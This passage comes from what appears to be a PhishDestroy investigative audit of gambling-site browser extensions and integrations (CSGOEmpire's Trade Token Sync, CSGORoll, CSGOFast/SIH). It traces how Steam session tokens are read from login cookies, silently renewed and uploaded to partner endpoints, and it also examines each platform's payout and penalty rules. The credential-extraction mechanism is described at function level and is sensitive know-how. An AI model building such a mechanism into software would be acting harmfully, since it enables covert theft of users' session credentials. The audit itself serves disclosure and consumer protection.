tab, waits five seconds and removes the tab. A timestamp in session storage limits these refresh attempts to one per hour. A later cookie event drives the next sync. These are renewal instructions operating inside the user’s existing browser session. [CT03]\n\nWorker startup, page-triggered requests, a registered interval and matching cookie changes can all invoke synchronisation. Together they are designed to keep a partner supplied with a current token while the browser can obtain one. Expiry therefore limits the life of a particular credential without necessarily ending the commercial connection. [CT04]\n\nSTEAM JWT\nThe credential being exported.\n\nRead from the Steam cookie. Its expiry is decoded locally. Steam remains the authority that accepts or rejects it.\n\nPARTNER-REGISTRATION JWT\nThe extension’s recipient gate.\n\nA separate ES256-signed document identifies permitted domains and endpoint paths. It is checked against the extension’s embedded verification key, issuer and expiry.\n\nBefore upload, the code checks a registered site’s Steam ID and skips transfer if that site reports an equally new or newer token. The two JWTs in this process have different roles. The partner-registration signature authorises a recipient domain and endpoint; it does not change the Steam token being sent. Recipient approval and Steam permissions are two separate controls in the same transfer. [CT05]\n\nThe page bridge can register a signed partner and trigger synchronisation; the extension handler contains no additional confirmation dialog for that registration. Removing a stored registration stops future uploads through that route. The removal function contains no call to Steam to revoke a token already supplied. Disconnecting a destination and invalidating its copy of a credential are therefore different events.\n\nA separate startup issue: an empty partner list still reaches the cookie reader\n\nenumerateDomainConfigs() returns an object, but the worker tests its .length against zero. With an empty object, that early return is not taken. An offline fixture confirmed that startup still reads the synthetic Steam cookie. The actual upload routine enumerates zero destinations in this case; this finding concerns unnecessary access and possible refresh work, not an observed transmission. [CT07]\n\n03 / THE ITEM AND THE MONEY FOLLOW DIFFERENT RULES\nSteam delivery and the casino’s payout are separate events\n\nThe purpose of this monitoring becomes clear in Empire’s settlement rules. Its dedicated charging guide says a bid or purchase removes coins from the buyer’s spendable balance immediately. The seller’s payout follows a separate process, so delivery on Steam does not itself create an immediately usable balance for the seller. [T10]\n\nTWO RECORDS\nPURCHASE / TRANSFER\nPROTECTION / REVIEW\nSETTLEMENT\nSTEAM ITEM\nSeller → buyer\n\nThe skin moves directly between their Steam accounts.\n\nReversal window\n\nThe buyer has the item while Steam protection applies.\n\nTransfer verified\n\nThe platform checks completion and reversal status.\n\nEMPIRE LEDGER\nBuyer debited\n\nCoins leave the buyer’s spendable platform balance.\n\nSeller payout pending\n\nEmpire says payout can take up to eight days. Special holds and credit exceptions have separate rules.\n\nSeller credited\n\nEmpire releases coins according to its own settlement policy.\n\nThe trade-protection notice says the platform retains the buyer’s funds during the reversal period. Its skin policy also permits a hold of up to a month for suspected stolen or scammed items. The seller can therefore deliver the skin before receiving spendable coins. Early-credit exceptions also depend on platform rules. The two users supply the item and the purchase balance, but Empire determines when the corresponding ledger entries become usable: a centrally administered C2C transaction with direct Steam delivery. [T06] [T07]\n\nPRICING AUTHORITY\nSeller asking prices sit inside the platform’s pricing system\n\nEmpire derives a reference USD price from outside markets, chiefly BUFF, and converts it to Empire Coins. Sellers can edit their asking price. The platform controls the reference, conversion, auction routing and relisting conditions. That is centralised C2C market design. [T04] [T05] [T18]\n\nACCESS TO EARLY CREDIT\nPlaying is tied to a higher early-credit limit\n\nThe instant-credit scheme combines a tier allowance with half of the daily reward pool. Published tier allowances run from zero to 20,000 coins. Empire says increasing the limit requires progressing the account and playing; support cannot raise it manually. Reversed credited trades can produce deductions and a negative balance. [T09]\n\nFailed-trade fees escalate.\nFAILURES / SHARE OF ITEM OR BID VALUE\n1\n1%\n2\n2%\n3\n4%\n4\n8%\n5\n16%\n6\n32%\n7+\n50%\nPublished cap: 50%. Cooldowns rise to 50 hours; penalties reset after 48 hours without a failed trade. A minimum charge and auction price-lock also apply. [T08]\nA Steam reversal can trigger a separate financial penalty\n\nThe skin policy allows permanent marketplace restrictions. If the buyer reverses, the seller can recover the item and keep up to the full coin payment. A support-approved exception usually uses a 30/70 split, adjustable by the operator. The published policy does not state which side keeps which share: the split is the operator’s own remedy arithmetic, adjustable by the operator — publish the formula and every applied instance. [T07]\n\nThe operator also decides disputed outcomes\n\nSupport may request a screen recording, decide a dispute and apply exceptional treatment. The platform writes the rules, controls the ledger and decides how a dispute is resolved. Its own support process also decides whether an exceptional adjustment is warranted. [T07]\n\nOrdinary fees and failure penalties follow different rules\n\nThe published zero-fee statement concerns routine skin deposits and withdrawals. Failed-trade penalties can still reach 50% of the item or bid value, and early-credit limits depend partly on play. A reader evaluating the cost and control of the service needs all three rules together. [T15] [T16]\n\nThe instructions conflict on protection, debit timing and cancellation\nSteam protection and the payout delay are blurred.\n\nThe mobile guide describes seven-day protection; the desktop guide calls it eight days. The protection notice describes seven days on Steam and up to eight days to receive coins. Users need the Steam deadline and the platform’s additional delay stated separately. [T01] [T02] [T06]\n\nTwo instructions give different debit events.\n\nThe dedicated charging article says coins are removed immediately on a bid or withdrawal. The general withdrawal guide describes deduction after receiving the item. The ledger event should be consistent across both instructions. [T10] [T11]\n\nOld and new cancellation rules remain side by side.\n\nAn April 2024 article says buyers cannot cancel an active withdrawal. A July 2026 article permits some normal withdrawals to be cancelled after thirty minutes, with tracking enabled and before the seller sends. Both remain in the collection. The collection leaves the reader to reconcile them. [T12] [T13]\n\nPenalty review remains inside the same platform.\n\nThe punishment guide permits users to ask support to review an unfair penalty. The skin policy allows corrections when the platform recognises an error. Both remedies are administered by the operator controlling the balance. [T08] [T07]\n\nThe business no longer needs to hold every skin in its own bot inventory. Empire describes direct user delivery alongside seller listing automation. Its privacy feature can hide item identifiers from prospective buyers. The participant’s inventory now supplies the delivery route. A count of banned accounts cannot show who lost their skins or whether the operator’s business was stopped without identifying those account categories. [T17] [T14] See the account-count comparison ↗\n04 / CSGOROLL’S TWO EXTENSION IDENTITIES\nRoll’s older automatic extension and its current token popup are different packages\n\nThe June 2024 announcement describes automatic token collection, expiry handling and background transmission. Its link targets an older extension ID. Roll’s current short URL points to a different package that still extracts a Steam token for the user to hand over. [T27] [T28]\n\n2024 ANNOUNCEMENT / OLDER ID\nCSGORoll extension\ncgkgfnlnpcifjnbfdbmcphcgnkeinjpdUPDATE RESPONSE: HTTP 204\n\nGoogle’s update service returned no package in this check. The store URL resolved to an empty-title shell without an extension listing. [T29] [T46]\n\nCURRENT REDIRECT / DIFFERENT ID\nSteam WebAPI Token Extension\nbdgacfnoihldeemdcbggkgmjgdfcliahUPDATE RESPONSE: HTTP 200 · v1.2\n\nThe current package was returned again with the same hash as the earlier audit. It extracts a token in a popup for copying. Its registered manifest has no background worker or daily scheduler; current help describes pasting the token into Roll. [T30] [T31] [T42]\n\nThe current help still asks the user to supply a Steam token to Roll. In version 1.2 the final handoff is manual, whereas the older announcement described background collection and upload. The distinction changes the technical mechanism, not the stated purpose: Roll obtains account information to recognise trades and administer its own balance. [T31] [T42]\n\n05 / CSGOFAST: THE CURRENT CONNECTION AND THE IDENTITY CLAIM\nFast’s own trading interface links SIH and checks its permissions\n\nThe connection is in CSGOFast’s own shipped application. Its trading interface links to SIH, checks the extension’s connection and permission state, and asks the platform backend whether the user can trade. [T38] [T39]\n\nA named installation targetThe installation component links to Steam Inventory Helper’s Chrome extension ID cmeakgjggjdlcpncigglobpjbkabhmjl. The modal loader imports this component through a separately fetched module. [CF01]\nA connection-and-permission conditionThe interface reads connections.SIH and checks both online and permission. The check button and warning state depend on those values. That is a concrete dependency in the shipped trading interface. [CF02]\nA platform decision endpointThe client requests its own backend’s /api/market/steam/check-user route and consumes the resulting permission state. Fast’s own frontend establishes the integration. The linked SIH audit traces the extension’s credential retrieval and server-command mechanisms. [CF03] [T42]\n“The Site does not present itself as a gambling platform.”\nCSGOFast · Responsible Play Policy §8.1 [T35]\nITS OWN DESCRIPTION\nThe non-monetary label sits beside paid funding routes\n\nThe same policy denies real-world value to items and Credits. Its FAQ describes funding by skins, partner gift codes, cryptocurrency and card-mediated crypto purchases, followed by a balance credit. The user incurs a real acquisition cost even where the resulting unit has restricted redemption rights. The operator’s description of its credit does not establish that the surrounding business is free of monetary value or payment relationships. [T35] [T37]\n\nAN EXTERNAL LEGAL RECORD\nThe same domain appears in a final Dutch gambling-enforcement record\n\nIn April 2025, the Dutch Ksa ordered Gamusoft LP to stop unlawful gambling offered through csgofast.com. Its published record says the order became final and violations continued. Fast’s current non-gambling label cannot rewrite that enforcement record. [T41]\n\nTHE CONSEQUENCE FOR THE USER\n\nFast asks users to explain their identity and finances while its own account of the service remains inconsistent. The non-gambling presentation, funding instructions and AML demands must be read together. They describe an operator that controls access to the user’s balance and requests evidence about the real assets used to fund it. [T36]\n\nFast’s AML and privacy pages display a 2024 revision date while naming Lumigrid OÜ, registered in September 2026. The AML text pairs that Estonian company with UK law. It even treats unusual attention to its AML policy as a suspicion indicator. The user is expected to explain their finances to a service whose own disclosures contain these unresolved defects. Read the documentary findings ↗\n\nNEW CASE / VALVE’S 2016 ENFORCEMENT CLAIM\nCSGOFast, SIH and the commercial control that survived\n\nFive interface exhibits, 33 code locations, authenticator custody and the record before the commission.\n\n↗\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nFour interface exhibits, 33 code locations, authenticator custody and the record before the commission.\n\nOpen this passage in the complete original edition →\n06 / THREE OPERATORS, SPECIFIC IMPLEMENTATIONS\nWhat the three implementations establish\n\nAPI means an interface. A publisher key, a user API key and a session JWT are different credentials. None of these browser workflows requires the user to be a game developer. Original three-column credential comparison ↗\n\n01 / ACCOUNT ACCESS\nCSGOEmpire\nIDENTIFIED PACKAGE\nTrade Token Sync 1.2.4, linked by Empire’s guide. [T24]\nACQUISITION\nReads the Steam login cookie and extracts its JWT. Manual help uses Steam’s token page.\nRENEWAL\nExpiry threshold, cookie event, worker startup and ten-minute interval; inactive Steam refresh tab.\nCONTROL ESTABLISHED\nA session credential leaves the browser through a developer-approved recipient route. The platform controls payout, holds and sanctions.\n02 / ACCOUNT ACCESS\nCSGORoll\nIDENTIFIED PACKAGE\nCurrent token-popup extension 1.2; older automatic extension has a different ID. [T27] [T28]\nACQUISITION\nCurrent popup obtains the WebAPI token from authenticated Steam content, then offers a copy action.\nRENEWAL\nAutomatic renewal is described in the older announcement. It is absent from the current package’s registered entry path.\nCONTROL ESTABLISHED\nThe current workflow still hands a Steam token to Roll. Manual copying changes the handoff, not who receives the credential.\n03 / ACCOUNT ACCESS\nCSGOFast / SIH integration\nIDENTIFIED CONNECTION\nCurrent site code links the SIH ID and checks its connection and permission. [CF01]\nACQUISITION\nSIH’s reviewed worker can supply a Steam WebAPI token in response to a server request; Fast’s frontend establishes the connection flow.\nRENEWAL\nThe earlier SIH audit found retry-on-403 and cached token retrieval, not a fixed daily scheduler.\nCONTROL ESTABLISHED\nThe trading interface checks SIH connection and permission; Fast’s backend supplies the trading-permission state.\nThe technical evidence explains the dependence that the collectibles analogy omits\n\nThese implementations differ in extraction, renewal and transfer. Empire’s code exports a Steam session token through an approved-partner mechanism; Roll’s current package prepares a token for manual submission; Fast’s own interface links an SIH permission flow. They show concrete ways in which a user’s Steam account becomes part of an outside service’s verification process.\n\nThe settlement rules explain why that access matters. Steam determines whether the item can move, while the casino determines how the recognised transfer changes its own balance. Physical ownership is a misleading model for this dependence: neither possession in a Steam inventory nor delivery to another user removes the need for those continuing permissions. Valve’s response and the ownership comparison ↗\n\nTrade Token Sync’s linked privacy notice does not explain this credential lifecycle\n\nThe Chrome listing declares handling authentication information and links to a guest Pastebin privacy notice dated 5 August 2025. That notice discusses broad website data, profiling, partners and session replay, and still refers to EU–US Privacy Shield. It does not set out a token-specific retention period, the signed partner registry, the background renewal mechanism or deletion of uploaded credentials. The missing explanation concerns this extension’s actual data flow. [T24] [T26] Why the transfer-safeguard reference matters ↗\n\nWhat the operators still owe their users\nPublish the Steam methods and account data accessible with the exported token, and demonstrate any claimed history-only restriction.\nExplain why all-URL host access and a universal page bridge are necessary for the stated trading task.\nIdentify the partner-registration signer, current recipients, approval process and revocation mechanism.\nDisclose token retention, employee access, server request logs and deletion after a site is disconnected.\nProvide a consistent timeline for buyer debit, Steam protection, platform holds, early credit and final payout.\nFor CSGOFast, identify the SIH permissions used and reconcile the non-gambling policy with the payment route, AML demands and named enforcement record.\n07 / REPRODUCIBLE CODE RECORD\nPackage. File. Location.\n\nThe findings below pin original filenames, hashes and search anchors. The downloadable record includes acquisition responses and the review of all 22 articles in Empire’s linked collection.\n\nDownload evidence record ↗Manifest ↗\nCT01Browser authority extends beyond Steam history\n\nThe manifest requests cookies, scripting, storage and tabs, with all-URL host access. It registers a universal content script and a Steam trade-offer script. The worker also injects the universal bridge into eligible already-open HTTP(S) tabs. The universal bridge extends the extension’s reach beyond a single casino tab.\n\nempire / manifest.json\n\nOriginal line 12 · UTF-8 byte 294\n\nFind: \"permissions\"\n\nSHA-256 367cebed484e3007511fefed990fffbffa6509f6b2ca1354696a75fb3953931f\n\nempire / background/service-worker.js\n\nOriginal line 39 · UTF-8 byte 1426\n\nFind: injectContentScriptIntoExistingTabs\n\nSHA-256 ad5caa9c9974f56bc28de449ad7a8b8351810c2c7a7c22b491f243acadb6316f\n\nCT02The exported credential is extracted from the Steam login cookie\n\nThe cookie reader requests steamLoginSecure using chrome.cookies.get, URL-decodes its value and separates the Steam ID and access token. It decodes expiry and returns the token without a narrowing exchange. With a synthetic two-hour token, the original function returned the identical token.\n\nempire / background/steam.js\n\nOriginal line 33 · UTF-8 byte 910\n\nFind: async function getSteamLoginSecureCookie\n\nSHA-256 6136673df2e6bdc4b3fc8a7a2f8f67fa4b84810da704e4a39577454c0e248490\n\nCT03Session renewal uses an inactive Steam tab\n\nIf expiry is less than one hour away, getSteamAccessToken calls refreshSteamSession. The function throttles attempts to once an hour through session storage, opens an inactive Steam /jwt/refresh tab, waits five seconds and removes it. The read returns null on this pass; the intended next sync follows a cookie update. This behavior was exercised with invented cookies and mocked browser APIs.\n\nempire / background/steam.js\n\nOriginal line 19 · UTF-8 byte 510\n\nFind: jwtExpiresAt.getTime()\n\nSHA-256 6136673df2e6bdc4b3fc8a7a2f8f67fa4b84810da704e4a39577454c0e248490\n\nempire / background/steam.js\n\nOriginal line 45 · UTF-8 byte 1334\n\nFind: async function refreshSteamSession\n\nSHA-256 6136673df2e6bdc4b3fc8a7a2f8f67fa4b84810da704e4a39577454c0e248490\n\nCT04Daily expiry, periodic checks and cookie events are distinct\n\nThe worker calls doSteamSync at startup and registers a ten-minute interval. A matching Steam login-cookie change schedules another sync after ten seconds. An authorised page may also request a sync; that page-triggered path is throttled to once a minute. Chrome worker suspension was not simulated.\n\nempire / background/service-worker.js\n\nOriginal line 36 · UTF-8 byte 1242\n\nFind: setInterval(doSteamSync\n\nSHA-256 ad5caa9c9974f56bc28de449ad7a8b8351810c2c7a7c22b491f243acadb6316f\n\nempire / background/service-worker.js\n\nOriginal line 42 · UTF-8 byte 1526\n\nFind: chrome.cookies.onChanged\n\nSHA-256 ad5caa9c9974f56bc28de449ad7a8b8351810c2c7a7c22b491f243acadb6316f\n\nempire / background/injected-api.js\n\nOriginal line 120 · UTF-8 byte 3247\n\nFind: async function triggerSync\n\nSHA-256 0095ac14d4175b783f2160980ca881e3c5627a8f36004b59cadf6feacf5eeab4\n\nCT05Signed partner configuration governs where the credential goes\n\nA distinct ES256 registration JWT is checked using an embedded key, issuer, time claims, domain patterns and endpoint paths. The extension stores valid configurations in sync storage. Upload checks a reported Steam ID and token expiry, then PUTs the access token to the configured endpoint. setDomainConfig has no extension-owned confirmation dialog. clearDomainConfig removes the registration without calling a Steam revocation route. These checks control recipients; they do not narrow the Steam credential.\n\nempire / background/jwt-verifier.js\n\nOriginal line 8 · UTF-8 byte 313\n\nFind: export async function verifyDomainJwt\n\nSHA-256 4b34276f5510aa4c72939b6eafe8e4021d943ff199e425048903effa8930392c\n\nempire / background/partner-sites.js\n\nOriginal line 36 · UTF-8 byte 999\n\nFind: export async function uploadNewAccessToken\n\nSHA-256 96581ffe9c2dcad46d4c1090bb5cbb5790891df0d0bbf162b82bfb402cadf53d\n\nempire / background/injected-api.js\n\nOriginal line 67 · UTF-8 byte 1607\n\nFind: async function setDomainConfig\n\nSHA-256 0095ac14d4175b783f2160980ca881e3c5627a8f36004b59cadf6feacf5eeab4\n\nempire / background/injected-api.js\n\nOriginal line 113 · UTF-8 byte 3037\n\nFind: async function clearDomainConfig\n\nSHA-256 0095ac14d4175b783f2160980ca881e3c5627a8f36004b59cadf6feacf5eeab4\n\nCT06The Steam-page script modifies the draft offer\n\nThe injected script reads item identifiers from URL parameters, adds missing entries to either side of g_rgCurrentTradeStatus and redraws the draft. No submit or confirmation call appears in this file. This is a separate interface-writing capability from trade-history access.\n\nempire / content-scripts/tradeoffer.js\n\nOriginal line 12 · UTF-8 byte 246\n\nFind: const theirItems\n\nSHA-256 32481abc873f43965b41cebfff93ebdc9d0dee82ac6027fbd8f5d544e23de1af\n\nempire / content-scripts/tradeoffer.js\n\nOriginal line 62 · UTF-8 byte 1368\n\nFind: window.RedrawCurrentTradeStatus\n\nSHA-256 32481abc873f43965b41cebfff93ebdc9d0dee82ac6027fbd8f5d544e23de1af\n\nCT07The empty-registration early return uses the wrong data shape\n\nenumerateDomainConfigs returns an object. doSteamSync checks its length as though it were an array. In an offline empty-object fixture, the worker still invoked the cookie reader. The real upload implementation enumerates zero domains in that situation. The recorded defect is the worker’s object-versus-array test and the resulting cookie-read invocation.\n\nempire / background/service-worker.js\n\nOriginal line 14 · UTF-8 byte 540\n\nFind: domainConfigs.length === 0\n\nSHA-256 ad5caa9c9974f56bc28de449ad7a8b8351810c2c7a7c22b491f243acadb6316f\n\nempire / background/partner-sites.js\n\nOriginal line 96 · UTF-8 byte 3080\n\nFind: const output = {}\n\nSHA-256 96581ffe9c2dcad46d4c1090bb5cbb5790891df0d0bbf162b82bfb402cadf53d\n\nCF01The current Fast frontend contains an SIH installation path\n\nThe SIH component points to Chrome extension ID cmeakgjggjdlcpncigglobpjbkabhmjl. The main application references the public component chunks; its modal registry imports chunk-WXK6SRSN.js, which imports this component. This places the SIH connection flow in CSGOFast’s own frontend. The dedicated case follows that integration into SIH’s registered account-operation handlers.\n\nfast / chunk-4J5LYWSH.js\n\nOriginal line 3 · UTF-8 byte 1338\n\nFind: //chrome.google.com/webstore/detail/steam-inventory-helper\n\nSHA-256 4ed0af788a6ef319c3f8bfb55f06252f16ff705d50bb10da2eae05da54c057bf\n\nfast / chunk-CJLFSPQI.js\n\nOriginal line 10 · UTF-8 byte 74042\n\nFind: SIH_INSTALL\n\nSHA-256 6fa061bbe3343c763ab641c1a71126558a40c1add657788b33d6f10164eb0f56\n\nCF02Fast checks SIH online state and permission\n\nThe component reads p2pPermissions.connections.SIH. Its disabled and warning state depends on whether the connection exists, is online and has permission. The dialog closes when both online and permission become true. The general P2P component also reads this connection state.\n\nfast / chunk-4J5LYWSH.js\n\nOriginal line 3 · UTF-8 byte 1743\n\nFind: checkBtnDisabled$\n\nSHA-256 4ed0af788a6ef319c3f8bfb55f06252f16ff705d50bb10da2eae05da54c057bf\n\nfast / chunk-4OFQKOVU.js\n\nOriginal line 6 · UTF-8 byte 13931\n\nFind: connections?.SIH\n\nSHA-256 6ab7ee0bbecb2fc844689f73131343e588bd3cf4850156ee99d96eb6469a57da\n\nCF03The Fast client asks its backend for Steam-trading permission state\n\nThe client service has getP2pPermissions requesting /api/market/steam/check-user with credentials. Another component consumes canSteamAPI and a steamApiKey field. These names establish the frontend contract, not the actual format of a user’s secret or the backend’s Steam access. No authenticated endpoint was called in this review.\n\nfast / chunk-2FZZMIT7.js\n\nOriginal line 3 · UTF-8 byte 182042\n\nFind: getP2pPermissions=t=>\n\nSHA-256 0eee2c9e863b98d6aed571d198a78c76cf4d4100b7219208b6530b1cbf2a3309\n\nfast / chunk-ONY24YIU.js\n\nOriginal line 3 · UTF-8 byte 8322\n\nFind: apiKey$=\n\nSHA-256 f6a72f25785c3772f47f7e2557251c89e54683358d96a4b89ac7ee24566d9606\n\nAll 22 Empire trading articles reviewed\nT01 · Trade Tracking — Desktop ↗\n\nManual token handoff, daily replacement, automatic checks and extension referral.\n\nT02 · Trade Tracking — Mobile ↗\n\nManual Steam-token page and seven-day protection wording.\n\nT03 · How the P2P system works ↗\n\nUser-to-user delivery, seller prices, deadlines, pending payouts and disputes.\n\nT04 · How prices are calculated ↗\n\nExternal market inputs, USD reference and conversion to Empire Coins.\n\nT05 · Editing a listing price ↗\n\nThe seller can change the asking price and percentage.\n\nT06 · Trade protection update ↗\n\nSeven-day Steam protection, up-to-eight-day coin payout and held funds.\n\nT07 · Skin Trading Policy ↗\n\nReversals, coin allocation, exceptional holds and support discretion.\n\nT08 · Trade punishments ↗\n\nEscalating fees, cooldowns, price-locks and reversal restrictions.\n\nT09 · Instant Credit Limit ↗\n\nTier allowances, reward-pool component, play-based progression and recovery.\n\nT10 · When an item is charged ↗\n\nImmediate removal of spendable coins on a bid or withdrawal.\n\nT11 · Withdrawing Counter-Strike items ↗\n\nWithdrawal workflow and its different debit wording; seller-listing bots.\n\nT12 · Cancelling a withdrawal ↗\n\nJuly 2026 conditional cancellation with tracking enabled.\n\nT13 · Cancelling an active trade ↗\n\nApril 2024 no-cancellation wording still linked from the collection.\n\nT14 · Item privacy toggle ↗\n\nHiding item identifiers and simplifying seller ratings.\n\nT15 · Trading fees ↗\n\nZero routine skin-deposit and withdrawal fee statement.\n\nT16 · Wagering to withdraw skins ↗\n\nNo wagering requirement stated for skin withdrawals.\n\nT17 · Withdrawal duration ↗\n\nAuction and regular deadlines; no site-owned bots and seller automation.\n\nT18 · Auction listings and limits ↗\n\nRouting thresholds and relisting-price rules.\n\nT19 · Thirty-minute auction update ↗\n\nDated change to buyer and seller auction deadlines.\n\nT20 · Depositing Counter-Strike items ↗\n\nListing inventory and completing the transfer when another user withdraws.\n\nT21 · Telegram and Discord notifications ↗\n\nLinked notification accounts, event categories and unlinking.\n\nT22 · Updating a trade URL ↗\n\nTrade URL settings; distinct from a session credential.\n\nMethod and technical boundaries of this review\n\nWe reviewed public documents and downloadable client code, verified the Empire CRX signatures and extension-ID key match, and ran six isolated fixture checks. No extension was installed, no account connected and no live token obtained or replayed. Fixture results ↗\n\nThe code establishes extraction, renewal instructions, transmission paths and client-side integration. Server retention, actual production commands and Steam’s accepted operation set were not measured. Browser permissions and Steam-token permissions are separate; an unchanged exported token does not, by itself, establish every operation Steam will accept.\n\nThe ten-minute interval is registered in code. Chrome can terminate an idle service worker, so it is not a measured uptime guarantee. Startup, page requests and cookie events provide further sync triggers. [T34] The trade-offer script edits the draft but does not submit or confirm it.\n\nThe older Roll package returned HTTP 204, and its store link returned an empty listing shell. Neither response supplies Google’s reason. The current Roll popup package, the older announced automatic workflow and Empire’s renewal code are identified separately throughout the record.\n\nThe Dutch order concerns Gamusoft LP and csgofast.com in 2025. Its named operator, date and jurisdiction remain attached to the finding; the separate identity investigation examines the companies named in Fast’s current documents.\n\n08 / SOURCE REGISTER\nRead the underlying records.\n\nOperator instructions, published policies, Chrome documentation, official package delivery and identified frontend files. Retrieval timestamps and SHA-256 values are in the evidence download.\n\nOpen the full source register\nT01\nCSGOEmpire — Trade Tracking — Desktop ↗\n\nManual token handoff, daily replacement, automatic checks and extension referral.\n\nT02\nCSGOEmpire — Trade Tracking — Mobile ↗\n\nManual Steam-token page and seven-day protection wording.\n\nT03\nCSGOEmpire — How the P2P system works ↗\n\nUser-to-user delivery, seller prices, deadlines, pending payouts and disputes.\n\nT04\nCSGOEmpire — How prices are calculated ↗\n\nExternal market inputs, USD reference and conversion to Empire Coins.\n\nT05\nCSGOEmpire — Editing a listing price ↗\n\nThe seller can change the asking price and percentage.\n\nT06\nCSGOEmpire — Trade protection update ↗\n\nSeven-day Steam protection, up-to-eight-day coin payout and held funds.\n\nT07\nCSGOEmpire — Skin Trading Policy ↗\n\nReversals, coin allocation, exceptional holds and support discretion.\n\nT08\nCSGOEmpire — Trade punishments ↗\n\nEscalating fees, cooldowns, price-locks and reversal restrictions.\n\nT09\nCSGOEmpire — Instant Credit Limit ↗\n\nTier allowances, reward-pool component, play-based progression and recovery.\n\nT10\nCSGOEmpire — When an item is charged ↗\n\nImmediate removal of spendable coins on a bid or withdrawal.\n\nT11\nCSGOEmpire — Withdrawing Counter-Strike items ↗\n\nWithdrawal workflow and its different debit wording; seller-listing bots.\n\nT12\nCSGOEmpire — Cancelling a withdrawal ↗\n\nJuly 2026 conditional cancellation with tracking enabled.\n\nT13\nCSGOEmpire — Cancelling an active trade ↗\n\nApril 2024 no-cancellation wording still linked from the collection.\n\nT14\nCSGOEmpire — Item privacy toggle ↗\n\nHiding item identifiers and simplifying seller ratings.\n\nT15\nCSGOEmpire — Trading fees ↗\n\nZero routine skin-deposit and withdrawal fee statement.\n\nT16\nCSGOEmpire — Wagering to withdraw skins ↗\n\nNo wagering requirement stated for skin withdrawals.\n\nT17\nCSGOEmpire — Withdrawal duration ↗\n\nAuction and regular deadlines; no site-owned bots and seller automation.\n\nT18\nCSGOEmpire — Auction listings and limits ↗\n\nRouting thresholds and relisting-price rules.\n\nT19\nCSGOEmpire — Thirty-minute auction update ↗\n\nDated change to buyer and seller auction deadlines.\n\nT20\nCSGOEmpire — Depositing Counter-Strike items ↗\n\nListing inventory and completing the transfer when another user withdraws.\n\nT21\nCSGOEmpire — Telegram and Discord notifications ↗\n\nLinked notification accounts, event categories and unlinking.\n\nT22\nCSGOEmpire — Updating a trade URL ↗\n\nTrade URL settings; distinct from a session credential.\n\nT23\nCSGOEmpire — Counter-Strike deposits and withdrawals ↗\n\nAll 22 linked articles acquired and read.\n\nT24\nTrade Token Sync — Chrome Web Store ↗\n\nDirect response on 10 October: version 1.2.4, updated 28 September 2026; a search-engine rendering still showed 1.2.3.\n\nT25\nTrade Token Sync — Google update-service package ↗\n\nVersion 1.2.4; CRX hash and signature checks pinned below.\n\nT26\nPrivacy notice linked by Trade Token Sync ↗\n\nGuest Pastebin notice dated 5 August 2025; credential-specific disclosure examined.\n\nT27\nCSGORoll — WebAPI Trading Extension ↗\n\n25 June 2024: automatic collection, renewal and background transmission; older extension ID.\n\nT28\nCSGORoll — current extension redirect ↗\n\nResolved to Steam WebAPI Token Extension, a different ID.\n\nT29\nOlder CSGORoll extension — Google update response ↗\n\nHTTP 204 and zero bytes in this acquisition; no reason supplied.\n\nT30\nCurrent CSGORoll extension — Google package ↗\n\nHTTP 200; version 1.2; unchanged package hash from the earlier audit.\n\nT31\nCSGORoll — Steam WebAPI Token help ↗\n\nCurrent help instructs copying and pasting a token.\n\nT32\nChrome — Declare permissions ↗\n\nHost permissions, browser API capabilities and optional access.\n\nT33\nChrome — Cookies API ↗\n\nCookie and host permission requirements; cookie fields including HttpOnly.\n\nT34\nChrome — Extension service worker lifecycle ↗\n\nIdle termination and event-driven worker revival; a timer is not guaranteed uptime.\n\nT35\nCSGOFast — Responsible Play Policy ↗\n\nNo-gambling representation and no-real-world-value wording.\n\nT36\nCSGOFast — AML Policy ↗\n\nUser verification, document demands and asserted authority.\n\nT37\nCSGOFast — FAQ ↗\n\nSkin deposits, partner vouchers, cryptocurrency and card-mediated crypto funding.\n\nT38\nCSGOFast — P2P frontend component ↗\n\nReads SIH connection state in the trading interface.\n\nT39\nCSGOFast — SIH installation and permission component ↗\n\nOfficial SIH extension link and online/permission checks.\n\nT40\nCSGOFast — client service bundle ↗\n\nRequests the platform’s /api/market/steam/check-user endpoint.\n\nT41\nDutch Ksa — Gamusoft LP / csgofast.com ↗\n\nApril 2025 unlawful-gambling order; final status and continued violations recorded.\n\nT42\nPhishDestroy — earlier Roll and SIH code audit ↗\n\nPrior acquired packages, code findings and hashes; this is our audit record.\n\nT43\nCSGOFast — public application entry bundle ↗\n\nDirectly references the reviewed frontend chunks.\n\nT44\nCSGOFast — SIH modal import module ↗\n\nConnects the public modal loader to the SIH component.\n\nT45\nChrome — Content scripts ↗\n\nPage access, script injection and messaging with extension components.\n\nT46\nOlder CSGORoll extension — store URL ↗\n\nDirect request resolved to an empty-title shell without a listing.",
        "headings": [
          {
            "level": 1,
            "text": "Inside the Steam session.",
            "anchor": "pd-trade-tracking--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#overview"
          },
          {
            "level": 2,
            "text": "Trade Token Sync 1.2.4",
            "anchor": "pd-trade-tracking--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#overview"
          },
          {
            "level": 2,
            "text": "Empire receives an authentication credential from the Steam session",
            "anchor": "pd-trade-tracking--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#session"
          },
          {
            "level": 3,
            "text": "One session. A continuing connection.",
            "anchor": "pd-trade-tracking--flow-title",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#flow-title"
          },
          {
            "level": 4,
            "text": "Login cookie",
            "anchor": "pd-trade-tracking--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 4,
            "text": "Extract token. Check expiry.",
            "anchor": "pd-trade-tracking--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 4,
            "text": "Receive the token.",
            "anchor": "pd-trade-tracking--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 4,
            "text": "Request a Steam refresh.",
            "anchor": "pd-trade-tracking--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 4,
            "text": "If the cookie changes…",
            "anchor": "pd-trade-tracking--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/trade-tracking#credential-flow"
          },
          {
            "level": 4,
            "text": "Trade verification.",
            "anchor": "pd-trade-tracking--heading-10",
